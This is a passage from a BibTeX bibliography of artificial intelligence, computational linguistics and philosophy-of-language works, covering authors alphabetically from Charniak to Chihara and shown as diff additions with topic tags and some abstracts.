Analysis, Abductive Unification, and + Nonmonotonic Equality}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {34}, + number = {3}, + pages = {275--295}, + acontentnote = {Abstract: + Motivation analysis in story comprehension requires matching an + action mentioned in the story against actions which might be + predicted by possible explanatory motivations. This requires + matching constants from the story against Skolem functions in + the possible motivations (assuming a normal first-order + representation of stories, plans, etc.). We will show that + extending unification to allow for unifying two things if they + are nonmonotonically equal does exactly what is needed in such + cases. We also show that such a procedure allows for a clean + method of noun-phrase reference determination. The work + described here has all been implemented. } , + topic = {abduction;story-understanding;reasoning-about-attitudes; + nl-interpretation;} + } + +@inproceedings{ charniak-goldman:1988a, + author = {Eugene Charniak and Robert Goldman}, + title = {A Logic for Semantic Interpretation}, + booktitle = {Proceedings of the Twenty-Sixth Annual Meeting of the + Association for Computational Linguistics}, + year = {1988}, + pages = {87--94}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + missinginfo = {editor}, + topic = {computational-semantics;} + } + +@inproceedings{ charniak-goldman:1989a, + author = {Eugene Charniak and Robert Goldman}, + title = {A Semantics for Probabilistic Quantifier-Free First-Order + Languages, with Particular Application to Story Understanding}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1074--1079}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {computational-semantics;nl-interpretation;} + } + +@techreport{ charniak-shimony:1990a, + author = {Eugene Charniak and Solomon E. Shimony}, + title = {Probabilistic Semantics for Cost Based Abduction}, + institution = {Department of Computer Science, Brown University}, + number = {CS-90-02}, + year = {1990}, + address = {Providence, Rhode Island}, + topic = {abduction;} + } + +@book{ charniak:1993a, + author = {Eugene Charniak}, + title = {Statistical Language Learning}, + publisher = {MIT Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + topic = {corpus-statistics;computational-linguistics; + statistical-nlp;} + } + +@article{ charniak-goldman:1993a, + author = {Eugene Charniak and Robert P. Goldman}, + title = {A {B}ayesian Model of Plan Recognition}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {1}, + pages = {53--79}, + acontentnote = {Abstract: + We argue that the problem of plan recognition, inferring an + agent's plan from observations, is largely a problem of + inference under conditions of uncertainty. We present an + approach to the plan recognition problem that is based on + Bayesian probability theory. In attempting to solve a plan + recognition problem we first retrieve candidate explanations. + These explanations (sometimes only the most promising ones) are + assembled into a plan recognition Bayesian network, which is a + representation of a probability distribution over the set of + possible explanations. We perform Bayesian updating to choose + the most likely interpretation for the set of observed actions. + This approach has been implemented in the Wimp3 system for + natural language story understanding. + } , + topic = {plan-recognition;nl-understanding;Bayesian-reasoning;} + } + +@article{ charniak-shimony:1994a, + author = {Eugene Charniak and Solomon Eyal Shimony}, + title = {Cost-Based Abduction and {MAP} Explanation}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {2}, + pages = {345--374}, + acontentnote = {Abstract: + Cost-based abduction attempts to find the best explanation for a + set of facts by finding a minimal cost proof for the facts. The + costs are computed by summing the costs of the assumptions + necessary for the proof plus the cost of the rules. We examine + existing methods for constructing explanations (proofs), as a + minimization problem on a DAG (directed acyclic graph). We then + define a probabilistic semantics for the costs, and prove the + equivalence of the cost minimization problem to the Bayesian + network MAP (maximum a posteriori probability) solution of the + system. A simple best-first algorithm for finding least-cost + proofs is presented, and possible improvements are suggested. + The semantics of cost-based abduction for complete models are + then generalized to handle negation. This, in turn, allows us to + apply the best-first search algorithm as a novel way of + computing MAP assignments to belief networks that can enumerate + assignments in order of decreasing probability. An important + point is that improvement results for the best-first search + algorithm carry over to the computation of MAPs. + } , + topic = {abduction;search;probabilistic-reasoning;} + } + +@article{ charniak-etal:1996a, + author = {Eugene Charniak and Gelnn Carroll and John Adcock and + Anthony Cassandra and Yoshihiko Gotoh and Jeremy Katz + and Michael Litman and John McCann}, + title = {Taggers for Parsers}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {45--57}, + topic = {part-of-speech-tagging;probabilistic-parsers;nl-processing;} + } + +@article{ charniak:1998a, + author = {Eugene Charniak}, + title = {Statistical Techniques for Natural Language Parsing}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {18}, + number = {4}, + pages = {33--43}, + topic = {corpus-statistics;computational-linguistics; + statistical-nlp;} + } + +@incollection{ chastain:1975a, + author = {Charles Chastain}, + title = {Reference and Context}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {194--269}, + address = {Minneapolis, Minnesota}, + topic = {reference;indexicals;context;} + } + +@incollection{ chatalic:1994a, + author = {Philippe Chatalic}, + title = {Viewing Hypothesis Theories as Constrained Graded Theories}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {261--278}, + address = {Berlin}, + topic = {modal-logic;qualitative-probability;} + } + +@incollection{ chateauneuf-etal:1991a, + author = {A. Chateauneuf and R. Kast and A. Lapied}, + title = {Uncertainty of the Valuation of Risky Assets}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {130--134}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;market-modeling;} + } + +@incollection{ chaudhri-etal:1992a, + author = {Vinay K. Chaudhri and Vassos Hadzilacos and John Mylopoulos}, + title = {Concurrency Control for Knowledge Bases}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {762--773}, + address = {San Mateo, California}, + topic = {kr;concurrency-control;knowledge-base-integrity;} + } + +@inproceedings{ chaudri-mylopoulos:1995a, + author = {Vinay Chaudri and John Mylopoulos}, + title = {Efficient Algorithms and Performance Results for Multi-User + Knowledge Bases}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {759--766}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;large-kr-systems;kr-course;} + } + +@inproceedings{ chavez-cooper:1990a, + author = {R. Martin Chavez and Gregory F. Cooper}, + title = {An Empirical Evaluation of a Randomized Algorithm for + Probabilistic Inference}, + booktitle = {Uncertainty in Artificial Intelligence 5}, + year = {1990}, + pages = {60--70}, + publisher = {Elsevier Science Publishers B.V.}, + address = {North Holland}, + editor = {M. Henrion and R.D. Shachter and L.N. Kanal and J.F. Lemmer}, + topic = {probabilistic-reasoning;empirical-methods-in-AI;} + } + +@techreport{ cheeseman:1983a, + author = {Peter Cheeseman}, + title = {A Representation of Time for Planning}, + institution = {SRI Artificial Intelligence Center}, + number = {278}, + year = {1983}, + topic = {planning;temporal-reasoning;} + } + +@inproceedings{ cheeseman:1985a, + author = {Peter Cheeseman}, + title = {In Defense of Probability}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {1002--1009}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {common-sense-reasoning;Bayesian-networks; + reasoning-about-uncertainty;} + } + +@article{ cheeseman:1988a, + author = {Peter Cheeseman}, + title = {An Inquiry Into Computer Understanding}, + journal = {Computational Intelligence}, + year = {1988}, + volume = {4}, + number = {1}, + pages = {58--66}, + missinginfo = {number, Check Spelling A Name}, + topic = {common-sense-reasoning;Bayesian-networks; + reasoning-about-uncertainty;} + } + +@phdthesis{ cheikes:1994a, + author= {Brant A. Cheikes}, + title= {Planning Responses from High-Level Goals: Adopting the Respondent's + Perspective in Cooperative Response Generation}, + school= {University of Pennsylvania}, + address= {Philadelphia}, + year= {1991}, + topic = {nl-generation;cooperation;} + } + +@inproceedings{ chelba:1997a, + author = {Ciprian Chelba}, + title = {A Structured Language Model}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {498--503}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;} + } + +@inproceedings{ chelba-jelinek:1998a, + author = {Ciprian Chelba and Frederick Jelinek}, + title = {Exploiting Syntactic Structure for Language Modeling}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {225--231}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {statistical-nlp;word-sequence-probabilities;} +} + +@article{ chella-etal:1997a, + author = {A. Chella and Marcello Frixione and S. Gaglio}, + title = {A Cognitive Architecture for Artificial Vision}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {89}, + number = {1--2}, + pages = {73--111}, + topic = {cognitive-robotics;computer-vision;cognitive-architectures; + vision;} + } + +@article{ chella-etal:2000a, + author = {A. Chella and M. Frixione and S. Gaglio}, + title = {Understanding Dynamic Scenes}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {89--132}, + topic = {computer-vision;process-recognition;} + } + +@book{ chellas:1969a, + author = {Brian Chellas}, + title = {The Logical Form of Imperatives}, + publisher = {Perry Lane Press}, + year = {1969}, + address = {Stanford, California}, + topic = {modal-logic;deontic-logic;} + } + +@article{ chellas:1971a, + author = {Brian Chellas}, + title = {Imperatives}, + journal = {Theoria}, + year = {1971}, + volume = {37}, + number = {2}, + pages = {114--229}, + topic = {conditionals;deontic-logic;} + } + +@incollection{ chellas:1974a, + author = {Brian Chellas}, + title = {Conditional Obligation}, + booktitle = {Logical Theory and Semantic Analysis}, + editor = {S{\o}ren Stenlund}, + publisher = {D. Reidel Publishing Company}, + year = {1974}, + pages = {23--33}, + topic = {deontic-logic;conditional-obligation;} + } + +@unpublished{ chellas-mckinney:1974a, + author = {Brian Chellas and Audrey McKinney}, + title = {The Completeness of Monotonic Modal Logics}, + year = {1974}, + note = {Unpublished manuscript, University of Pennsylvania}, + topic = {modal-logic;} + } + +@article{ chellas:1975a, + author = {Brian Chellas}, + title = {Basic Conditional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {2}, + pages = {133--154}, + topic = {conditionals;} + } + +@book{ chellas:1980a, + author = {Brian F. Chellas}, + title = {Modal Logic: An Introduction}, + publisher = {Cambridge University Press}, + year = {1980}, + address = {Cambridge, England}, + topic = {modal-logic;} + } + +@article{ chellas:1983a, + author = {Brian F. Chellas}, + title = {$KG^{k,l,m,n}$ and the {EMFP}}, + journal = {Logique et Analyse}, + year = {1983}, + volume = {26}, + number = {103--104}, + pages = {255--262}, + topic = {modal-logic;} + } + +@article{ chellas:1992a, + author = {Brian Chellas}, + title = {Time and Modality in the Logic of Agency}, + journal = {Studia Logica}, + year = {1992}, + volume = {51}, + pages = {485--517}, + missinginfo = {number}, + topic = {action;} +} + +@article{ chellas-segerberg:1994a, + author = {Brian F. Chellas and Krister Segerberg}, + title = {Modal Logics with the {M}ac{I}ntosh Rule}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {1}, + pages = {67--86}, + contentnote = {The MacIntosh rule is <>A --> []A/ []A --> <>A.}, + topic = {modal-logic;} + } + +@article{ chellas:1995a, + author = {Brian Chellas}, + title = {On Bringing It about}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {6}, + pages = {563--571}, + topic = {agency;} + } + +@inproceedings{ chen_hh-lee:1995a, + author = {Hsin-Hsi Chen and Yue-Shi Lee}, + title = {Development of a Partially Bracketed + Corpus with Part-Of-Speech Information Only}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {162--172}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;corpus-statistics;text-chunking; + part-of-speech-tagging;} + } + +@inproceedings{ chen_hh:1998a, + author = {Hsin-Hsi Chen and Sheng-Jie Huang and Yung-Wei Ding and + Shih-Chung Tsai}, + title = {Proper Name Translation in Cross-Language Information + Retrieval}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {232--236}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {proper-names;machine-translation;} +} + +@article{ chen_jh-chang_js:1998a, + author = {Jen Hen Chen and Jason S. Chang}, + title = {Topical Clustering of {MRD} Senses Based on Information + Retrieval Techniques}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {61--95}, + topic = {lexical-disambiguation;computational-lexicography;} + } + +@inproceedings{ chen_jn-chang_js:1998a, + author = {Jen-Nan Chen and Jason S. Chang}, + title = {A Concept-based Adaptive Approach to Word Sense + Disambiguation}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {237--243}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {lexical-disambiguation;} +} + +@inproceedings{ chen_kj-etal:1998a, + author = {Keh-Jiann Chen and Wen Tsuei and Lee-Feng Chien}, + title = {{PAT}-Trees with the Deletion Function as the Learning + Device for Linguistic Patterns}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {244--250}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {machine-language-learning;PAT-trees;} +} + +@inproceedings{ chen_sf-goodman:1996a, + author = {Stanley F. Chen and Joshua Goodman}, + title = {An Empirical Study of Smoothing Techniques for Language + Modeling}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {310--318}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {corpus-statistics;} + } + +@techreport{ chen_sf-goodman:1998a, + author = {Stanley F. Chen and Joshua Goodman}, + title = {An Empirical Study of Smoothing Techniques for Language + Modeling}, + institution = {Center for Research in Computing Technology, + Harvard University}, + number = {TR-10-98}, + year = {1998}, + address = {Cambridge, Massachusetts}, + topic = {corpus-statistics;frequency-estimation;} + } + +@book{ chen_ss1:1990a, + editor = {Su-Shing Chen}, + title = {Advances in Spatial Reasoning, Volume 1}, + publisher = {Ablex Publishing Co.}, + year = {1990}, + address = {Norwood, New Jersey}, + ISBN = {0893915726}, + topic = {spatial-reasoning;} + } + +@book{ chen_ss1:1990b, + editor = {Su-Shing Chen}, + title = {Advances in Spatial Reasoning, Volume 2}, + publisher = {Ablex Publishing Co.}, + year = {1990}, + address = {Norwood, New Jersey}, + ISBN = {0893915734}, + topic = {spatial-reasoning;} + } + +@article{ chen_ss2-etal:1990a, + author = {Susan S. Chen and James M. Keller and Richard M. Crownover}, + title = {Shape from Fractal Geometry}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {2}, + pages = {199--218}, + acontentnote = {Abstract: + A novel method for the recovery of a planar surface orientation + from its image using fractal measures is presented. A + fractal-related feature, the average Holder constant, is defined + in the two-dimensional topological space. It is proven that the + average Holder constant is scale-sensitive and the distance + ratio from any two points on the fractal surface to the viewer + can be calculated from their average Holder constants. By + incorporating the distance ratio into the surface-vanishing line + formula in the geometric model, a method for inferring + planar surface shape is derived. The novelty of this method is + that the fractal-related feature is used as a direct input in + the shape recovery process. Experimental results showing the + validity of applying this method to artificially rotated + textured images and images of naturally textured surfaces are + presented. + } , + topic = {fractals;texture;distance-metrics;} + } + +@article{ chen_w-warren:1993a, + author = {W. Chen and D.S. Warren}, + title = {A Goal-Oriented Approach to Computing the Well-Founded + Semantics}, + journal = {Journal of Logic Programming}, + year = {1993}, + volume = {17}, + pages = {279--300}, + missinginfo = {A's 1st name, number}, + topic = {logic-programming;} + } + +@article{ chen_xj-degiacomo:1999a, + author = {Xiao Jun Chen and Giuseppe De Degiacomo}, + title = {Reasoning about Nondeterministic and Concurrent + Actions: A Process Algebra Approach}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {1}, + pages = {63--98}, + topic = {concurrency;concurrent-actions;} + } + +@article{ cheng_j-etal:2002a, + author = {Jie Cheng and Russell Greiner and Jonathan Kelly and David + Bell and Weiru Liu}, + title = {Learning {B}ayesian Networks from Data: An Information-Theory + Based Approach}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {137}, + number = {1--2}, + pages = {43--90}, + topic = {Bayesian-networks;machine-learning;} + } + +@article{ cheng_ls-huang:1996a, + author = {Lisa L.-S. Cheng and C.-T James Huang}, + title = {Two Types of Donkey Sentences}, + journal = {Natural Language Semantics}, + year = {1996}, + volume = {4}, + number = {2}, + pages = {121--163}, + topic = {anaphora;donkey-anaphora;} + } + +@book{ cherniak:1986a, + author = {Christopher Cherniak}, + title = {Minimal Rationality}, + publisher = {The {MIT} Press}, + year = {1986}, + address = {Cambridge}, + xref = {Review: spector-hendler:1987a.}, + topic = {limited-rationality;} + } + +@article{ cherniavsky:1972a, + author = {A.L. Cherniavsky}, + title = {A Program for Timetable Compilation by a Look-Ahead + Method}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {61--76}, + acontentnote = {Abstract: + The problem of timetable compilation for a single-track railway + is a job-shop scheduling problem but with differences that + handicap the generation of feasible solutions. The paper states + the problem and describes the algorithm and the experimental + results. The idea of the algorithm is that a feasible solution + is obtained by successice resolving of ``conflicts'' between + trains, this process being interpreted as the generation of some + tree T. The way to resolve a conflict is selected by a + look-ahead method which enables us to obtain good enough + solutions by using a very rough estimate function. One specific + feature of the algorithm is that the look-ahead tree T´ is not a + subtree of T; the other is the culs-de-sac on trees T and T´. + When it reaches a cul-de-sac, the algorithm augments the tree + with additional nodes. } , + topic = {scheduling;AI-algorithms;experimental-AI;} + } + +@article{ chester:1976a, + author = {David Chester}, + title = {The Translation of Formal Proofs into {E}nglish}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {3}, + pages = {261--278}, + topic = {proofs-as-discourse;} + } + +@incollection{ chevalier-martinex:2001a, + author = {Aline Chevalier and Laure Martinex}, + title = {The Role of Context in the Acquisition and in the + Organization of Knowledge: Studies from Adults and from + Children}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {425--428}, + address = {Berlin}, + topic = {context;cognitive-psychology;} + } + +@techreport{ chi_mth:1983a, + author = {Micheline T.H. Chi}, + title = {A Learning Framework for Development}, + institution = {Learning Research and Development Center}, + number = {1983/18}, + year = {1983}, + address = {University of Pittsburgh, Pittsburgh, Pennsylvania}, + topic = {developmental-psychology;expertise;} + } + +@techreport{ chi_mth-etal:1983a, + author = {Micheline T.H. Chi and Robert Glaser and Ernest Rees}, + title = {Expertise in Problem Solving}, + institution = {Learning Research and Development Center}, + number = {1981/3}, + year = {1981}, + address = {University of Pittsburgh, Pittsburgh, Pennsylvania}, + topic = {expertise;} + } + +@article{ chi_zy-geman:1998a, + author = {Zhiyi Chi and Stuart Geman}, + title = {Estimation of Probabilistic Context-Free Grammars}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {299--305}, + topic = {probabilistic-parsers;} + } + +@article{ chi_zy:1999a, + author = {Zhiyi Chi}, + title = {Statistical Properties of Probabilistic Context-Free + Grammars}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {1}, + pages = {131--160}, + topic = {probabilistic-context-free-grammars;} + } + +@article{ chichilinsky:1982a, + author = {Graciela Chichilinsky}, + title = {Social Aggregation Rules and Continuity}, + journal = {Quarterly Journal of Economics}, + year = {1982}, + volume = {96}, + pages = {337--352}, + missinginfo = {number}, + topic = {welfare-economics;social-choice-theory;} + } + +@incollection{ chichilinsky:1983a, + author = {Graciela Chichilinsky}, + title = {Social Choice Theory and Game Theory: Recent + Results with a Topological Approach}, + booktitle = {Social Choice and Welfare}, + publisher = {North-Holland Publishing Company}, + year = {1983}, + editor = {Prasanta K. Pattanaik and Maurice Salles}, + pages = {79--102}, + address = {Amsterdam}, + topic = {social-choice-theory;game-theory;} + } + +@article{ chichilnisky-heal:1983a, + author = {Graciela Chichilnisky and G. Heal}, + title = {Necessary and Sufficient + Conditions for a Resolution of the Social Choice Paradox}, + journal = {Journal of Economic Theory}, + year = {1983}, + volume = {31}, + pages = {68--87}, + missinginfo = {number}, + topic = {social-choice-theory;Arrow's-theorem;} + } + +@incollection{ chien_m-etal:1998a, + author = {M. Chien and M.L. Mugnier and Genevi\`eve Simonet}, + title = {Nested Graphs: A Graph-Based Knowledge Representation + Model with {FOL} Semantics}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {524--534}, + address = {San Francisco, California}, + topic = {kr;conceptual-graphs;graph-based-reasoning;kr-course;} + } + +@article{ chien_s-etal:1999a, + author = {S. Chien and G. Rabideau and J. Willis and T. Mann}, + title = {Automating Planning and Scheduling of Shuttle Payload + Operations}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {239--255}, + topic = {planning;scheduling;} + } + +@article{ chierchia:1982a, + author = {Gennaro Chierchia}, + title = {Nominalization and {M}ontague Grammar: A Semantics Without + Types for Natural Languages}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {3}, + pages = {303--354}, + missinginfo = {number}, + topic = {nominalization;nl-semantic-types;} + } + +@incollection{ chierchia:1985a, + author = {Gennaro Chierchia}, + title = {The Variability of Impersonal Subjects}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {107--143}, + address = {Dordrecht}, + topic = {nl-semantics;impersonal-subjects;nl-quantifiers; + Italian-language;} + } + +@incollection{ chierchia:1988a, + author = {Gennaro Chierchia}, + title = {Introduction}, + booktitle = {Properties, Types and Meaning, Vol. 2}, + year = {1988}, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + publisher = {Kluwer Academic Publishers}, + pages = {1--20}, + address = {Dordrecht}, + topic = {nl-semantics;intensionality;thematic-roles;} + } + +@incollection{ chierchia:1988b, + author = {Gennaro Chierchia}, + title = {Structured Meanings, Thematic Roles and Control}, + booktitle = {Properties, Types and Meaning, Vol. 2}, + year = {1988}, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + publisher = {Kluwer Academic Publishers}, + pages = {131--166}, + address = {Dordrecht}, + topic = {hyperintensionality;thematic-roles;} + } + +@book{ chierchia-etal:1988a, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + title = {Properties, Types and Meaning, Vols. 1 and 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + volume = {38 and 39}, + series = {Studies in Linguistics and Philosophy}, + address = {Dordrecht}, + contentnote = {This reference for both volumes.}, + topic = {nl-semantics;polymorphism;nl-semantic-types;} + } + +@book{ chierchia-etal:1988b, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + title = {Properties, Types and Meaning, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + volume = {38}, + series = {Studies in Linguistics and Philosophy}, + address = {Dordrecht}, + contentnote = {This reference for volume 1. TC: + Aczel, Algebraic Semantics. + Thomason, Ramified. + Turner, Two Issues in the Foundations. + Asher and Kamp, Self-Reference. + Bealer, Type-Free Intensionality. + van Benthem, Semantic Type-Change + }, + topic = {nl-semantics;polymorphism;nl-semantic-types;} + } + +@book{ chierchia-etal:1988c, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + title = {Properties, Types and Meaning, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + volume = {39}, + series = {Studies in Linguistics and Philosophy}, + address = {Dordrecht}, + contentnote = {This reference for volume 2. TC: + Groenendijk and Stokhof, Shifting Rules and the Semantics of + Interrogatives. + Dowty, On the Semantic Content of the Notion of `Thematic Role'. + Chierchia, Structured Meanings, Thematic Roles and Control + Carlson, On the Semantic Composition of English Generic Sentences. + Schubert and Pelletier, Generically Speaking, or Using Discourse + Representation Theory to Interpret Generics. + Zeevat, Realism and Definiteness + }, + topic = {nl-semantics;polymorphism;nl-semantic-types;pragmatics;} + } + +@article{ chierchia-turner_r:1988a, + author = {Gennaro Chierchia and Raymond Turner}, + title = {Semantics and Property Theory}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {3}, + pages = {261--302}, + topic = {nl-semantics;property-theory;} + } + +@techreport{ chierchia:1990a, + author = {Gennaro Chierchia}, + title = {Anaphora and Dynamic Logic}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--90--07}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {anaphora;donkey-anaphora;dynamic-logic;dynamic-semantics;} + } + +@techreport{ chierchia:1990b, + author = {Gennaro Chierchia}, + title = {The Variability of Impersonal Subjects}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--90--06}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {adverbs;impersonal-subjects;} + } + +@article{ chierchia:1992a, + author = {Gennaro Chierchia}, + title = {Questions with Quantifiers}, + journal = {Natural Language Semantics}, + year = {1992--1993}, + volume = {1}, + number = {2}, + pages = {181--234}, + topic = {nl-quantifiers;nl-semantics;interrogatives;} + } + +@article{ chierchia:1992b, + author = {Gennaro Chierchia}, + title = {Anaphora and Dynamic Binding}, + journal = {Linguistics and Philosophy}, + volume = {15}, + number = {2}, + pages = {111--183}, + year = {1992}, + topic = {anaphora;donkey-anaphora;dynamic-logic;dynamic-semantics;} + } + +@book{ chierchia-mcconnellginet:1992a, + author = {Gennaro Chierchia and Sally McConnell-Ginet}, + title = {Meaning and Grammar: An Introduction to Semantics}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + xref = {Review: perrault:1993a, carlson:1991a.}, + xref = {2nd edition: chierchia-mcconnellginet:2000a.}, + topic = {nl-semantics;} + } + +@article{ chierchia:1994a, + author = {Gennarro Chierhia}, + title = {Intensionality and Context Change}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {3}, + number = {2}, + pages = {141--168}, + topic = {hyperintensionality;dynamic-logic;} + } + +@book{ chierchia:1995a, + author = {Gennaro Chierchia}, + title = {Dynamics of Meaning: Anaphora, Presupposition, and the + Theory of Grammar}, + publisher = {Chicago University Press}, + year = {1995}, + address = {Chicago}, + topic = {dynamic-logic;nl-semantics;donkey-anaphora;presupposition; + anaphora;pragmatics;context;} + } + +@incollection{ chierchia:1995b, + author = {Gennaro Chierchia}, + title = {Individual-Level Predicates as Inherent Generics}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {176--223}, + address = {Chicago, IL}, + topic = {generics;i-level/s-level;} + } + +@article{ chierchia:1998a, + author = {Gennaro Chierchia}, + title = {Reference to Kinds across Languages}, + journal = {Natural Language Semantics}, + year = {1998}, + volume = {6}, + number = {4}, + pages = {339--405}, + topic = {universal-grammar;semantics-of-common-nouns;} + } + +@book{ chierchia-mcconnellginet:2000a, + author = {Gennaro Chierchia and Sally McConnell-Ginet}, + title = {Meaning and Grammar: An Introduction to Semantics}, + edition = {2}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + xref = {1st edition: chierchia-mcconnellginet:1992a.}, + topic = {nl-semantics;} + } + +@article{ chihara:1963a, + author = {Charles Chihara}, + title = {Mathematical Discovery and Concept Formation}, + journal = {The Philosophical Review}, + year = {1963}, + volume = {72}, + number = {1}, + pages = {17--34}, + topic = {philosophy-of-mathematics;scientific-discovery;} + } + +@article{ chihara-fodor:1965a, + author = {Charles Chihara and Jerry A. Fodor}, + title = {Operationalism and Ordinary Language}, + journal = {American Philosophical Quarterly}, + year = {1965}, + volume = {2}, + number = {4}, + pages = {281--295}, + topic = {philosophy-of-language;Wittgenstein;} + } + +@article{ chihara:1979a, + author = {Charles Chihara}, + title = {The Semantic Paradoxes: A Diagnostic 